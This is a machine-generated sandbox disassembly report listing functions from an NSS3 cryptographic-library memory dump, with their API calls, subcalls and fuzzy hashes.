Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b05b4ec000bc0a8b32a01c4684d41c886997cbf2368b548d7f3891a016ce1cc1
Instruction ID: e6673660265dd9590e623fe70add47b4636c0294071e11f075a421226f34b914
Opcode Fuzzy Hash: b05b4ec000bc0a8b32a01c4684d41c886997cbf2368b548d7f3891a016ce1cc1
Instruction Fuzzy Hash: FB41CFB4A012218FDB109F29C88039A7AF5EF0871CF306169EC1C8B742D779E585CF91

Function 6CE83FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CE83FF2

Part of subcall function 6CE714C0: TlsGetValue.KERNEL32 ref: 6CE714E0
Part of subcall function 6CE714C0: EnterCriticalSection.KERNEL32 ref: 6CE714F5
Part of subcall function 6CE714C0: PR_Unlock.NSS3 ref: 6CE7150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CE84001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CE8400F

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CE84054

Part of subcall function 6CE1BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CE1BC24
Part of subcall function 6CE1BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE1BC39
Part of subcall function 6CE1BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CE1BC58
Part of subcall function 6CE1BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE1BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE84070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CE840CD

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 5903262211a067f7314322139d133c67df7e82f5a337bd7853755689f8536d8b
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 5431E6B2E0534197EB009E649C51BBB3378EF9160CF244229ED0D9B746F761E958C3A2

Function 6CE22E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE12D1A), ref: 6CE22E7E

Part of subcall function 6CE707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE18298,?,?,?,6CE0FCE5,?), ref: 6CE707BF
Part of subcall function 6CE707B0: PL_HashTableLookup.NSS3(?,?), ref: 6CE707E6
Part of subcall function 6CE707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE7081B
Part of subcall function 6CE707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE70825

PR_Now.NSS3 ref: 6CE22EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE22EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE12D1A), ref: 6CE22F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE12D1A), ref: 6CE22F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE22F81

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 3cc89bdd2b245ab52351b83d71f75f231ee00ed85844a9cf0ff03a3ac074e1e6
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: D531457192110087F730C625CC4ABAE7275EFA133CF744579D129A7AD0EB3D9886C622

Function 6CE10E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CE10A2C), ref: 6CE10E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CE10A2C), ref: 6CE10E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CE10A2C), ref: 6CE10E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CE10A2C), ref: 6CE10E90
free.MOZGLUE(00000000), ref: 6CE10EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CE10A2C), ref: 6CE10ED9

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: c0e4720083493947d783fe1873f2937a46092a839bbfc522508335fea8636a72
Instruction ID: 8a859242c3a409f5b75eeac2c7c492987fa2b6ae47d0c48c027d48231a97d731
Opcode Fuzzy Hash: c0e4720083493947d783fe1873f2937a46092a839bbfc522508335fea8636a72
Instruction Fuzzy Hash: 1E214CB2F082844BEF1049679C45B6B76BEDBC274CF390035D81993F02EA60C83583A2

Function 6CE1AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE1AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CE1AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE1AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE1AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CF39500), ref: 6CE1AF23

Part of subcall function 6CE6F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CE6F0C8
Part of subcall function 6CE6F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE6F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE1AF37

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: c760f23c5709ea0be2fcd914fbbdfe362f9ffa1a4c83aaf363414871836f21db
Instruction ID: 8ec5a08bee978870225aa5fdd1799a7c16798a029fdfb68ce4f9e3f3ff52499e
Opcode Fuzzy Hash: c760f23c5709ea0be2fcd914fbbdfe362f9ffa1a4c83aaf363414871836f21db
Instruction Fuzzy Hash: CF213A7294D200ABEB108F189C02BAA77F4AF8972CF344319FC549BB81E731D55987A3

Function 6CE9EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9EE85
realloc.MOZGLUE(84EE2252,?), ref: 6CE9EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CE9EEC5

Part of subcall function 6CE70BE0: malloc.MOZGLUE(6CE68D2D,?,00000000,?), ref: 6CE70BF8
Part of subcall function 6CE70BE0: TlsGetValue.KERNEL32(6CE68D2D,?,00000000,?), ref: 6CE70C15

htonl.WSOCK32(?), ref: 6CE9EEE3
htonl.WSOCK32(00000000,?), ref: 6CE9EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CE9EF01

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 7738c72d5c889f74bfe8675b05fdc74234aa89722923297e1ad61d8d37925e09
Instruction ID: dea2f683f118ba40a8c89cfe4a9236ec563f76c85dfe441b24709cbb4a38c80d
Opcode Fuzzy Hash: 7738c72d5c889f74bfe8675b05fdc74234aa89722923297e1ad61d8d37925e09
Instruction Fuzzy Hash: 1621A171A00614AFDB109F28DC80B9AB7B4EF49358F258169ED199B742E730EC54CBE2

Function 6CE4EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE4EE49

Part of subcall function 6CE6FAB0: free.MOZGLUE(?,-00000001,?,?,6CE0F673,00000000,00000000), ref: 6CE6FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE4EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CE4EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CE4EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE4EEB3

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: c5c99a3fc2e01690651c863e7e44a18becc302381541973eacb6eacd38ee96ce
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 6821C3B6A006206BEB118A59EC81FABB7B8AF4570CF254168FD089B751E771EC14C7E1

Function 6CE17F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE17F68

Part of subcall function 6CE70FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
Part of subcall function 6CE70FF0: PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016
Part of subcall function 6CE70FF0: PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CE17F7B

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE17FA7

Part of subcall function 6CE6FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE68D2D,?,00000000,?), ref: 6CE6FB85
Part of subcall function 6CE6FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE6FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF3919C,?), ref: 6CE17FBB

Part of subcall function 6CE6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF418D0,?), ref: 6CE6B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE17FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CF3915C,00000014), ref: 6CE17FFE

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 9741507c202db60e7c652b7c9610df0bc54bee86d7fe66cde2b87f8cf9b9d18e
Instruction ID: ac7ab607b10fd7071bd9d8923cb519b3960856d628ccef53cdab37b58a79f060
Opcode Fuzzy Hash: 9741507c202db60e7c652b7c9610df0bc54bee86d7fe66cde2b87f8cf9b9d18e
Instruction Fuzzy Hash: AF112771D0420466E6109A25DC41FBB76B8DF59A4CF20062DFC59D2F41FB20A958C2B1

Function 6CE1BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CE9DC29,?), ref: 6CE1BE64

Part of subcall function 6CE70FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
Part of subcall function 6CE70FF0: PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016
Part of subcall function 6CE70FF0: PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CE9DC29,?), ref: 6CE1BE78

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CE9DC29,?), ref: 6CE1BE96

Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CE9DC29,?), ref: 6CE1BEBB

Part of subcall function 6CE6FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE68D2D,?,00000000,?), ref: 6CE6FB85
Part of subcall function 6CE6FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE6FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CE9DC29,?), ref: 6CE1BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CE9DC29,?), ref: 6CE1BEF3

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 5ec15e637defcfc1e4380da8d81b265a1539663bca27c906016c8ecbe1517631
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: ED11A5B1E142095BEB008B659D55FAA37B8AB4125CF24002CED08EBB80EB32D919C7A1

Function 6CEA3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEA5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA3D3F

Part of subcall function 6CE1BA90: PORT_NewArena_Util.NSS3(00000800,6CEA3CAF,?), ref: 6CE1BABF
Part of subcall function 6CE1BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CEA3CAF,?), ref: 6CE1BAD5
Part of subcall function 6CE1BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CEA3CAF,?), ref: 6CE1BB08
Part of subcall function 6CE1BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CEA3CAF,?), ref: 6CE1BB1A
Part of subcall function 6CE1BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CEA3CAF,?), ref: 6CE1BB3B

PR_EnterMonitor.NSS3(?), ref: 6CEA3CCB

Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90AB
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90C9
Part of subcall function 6CED9090: EnterCriticalSection.KERNEL32 ref: 6CED90E5
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED9116
Part of subcall function 6CED9090: LeaveCriticalSection.KERNEL32 ref: 6CED913F

PR_EnterMonitor.NSS3(?), ref: 6CEA3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEA3CF8
PR_ExitMonitor.NSS3(?), ref: 6CEA3D15
PR_ExitMonitor.NSS3(?), ref: 6CEA3D2E

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: f677c67b9e7cffb9d5807e123bf997f1231f3fa1db7f159600e1655ca2fd6dc5
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 2311E979610600AFE7205AA5FC4179BB2F5AB11309F704538E40A9FB20E632F41BC653

Function 6CE6FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CE6FE08

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CE6FE1D

Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CE6FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CE6FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CE6FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CE6FE6F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 9e4fd34f52396803052a45a7a4915d01f04da4f035bcc1c26d6c60a0b541b8e4
Instruction ID: 53c3a08cfeca33c994f7767bcaa23838870a5b712b95edd874130c131686ce65
Opcode Fuzzy Hash: 9e4fd34f52396803052a45a7a4915d01f04da4f035bcc1c26d6c60a0b541b8e4
Instruction Fuzzy Hash: 781108B6A50201ABEB108F56DC40B5B7BB8AF552ADF348038ED1C87F12E735D914C7A1

Function 6CF1FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CF1FD9E

Part of subcall function 6CED9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE01A48), ref: 6CED9BB3
Part of subcall function 6CED9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE01A48), ref: 6CED9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CF1FDB9

Part of subcall function 6CDFA900: TlsGetValue.KERNEL32(00000000,?,6CF714E4,?,6CD94DD9), ref: 6CDFA90F
Part of subcall function 6CDFA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CDFA94F

PR_Unlock.NSS3 ref: 6CF1FDD4
PR_Lock.NSS3 ref: 6CF1FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CF1FE0D
PR_Unlock.NSS3 ref: 6CF1FE23

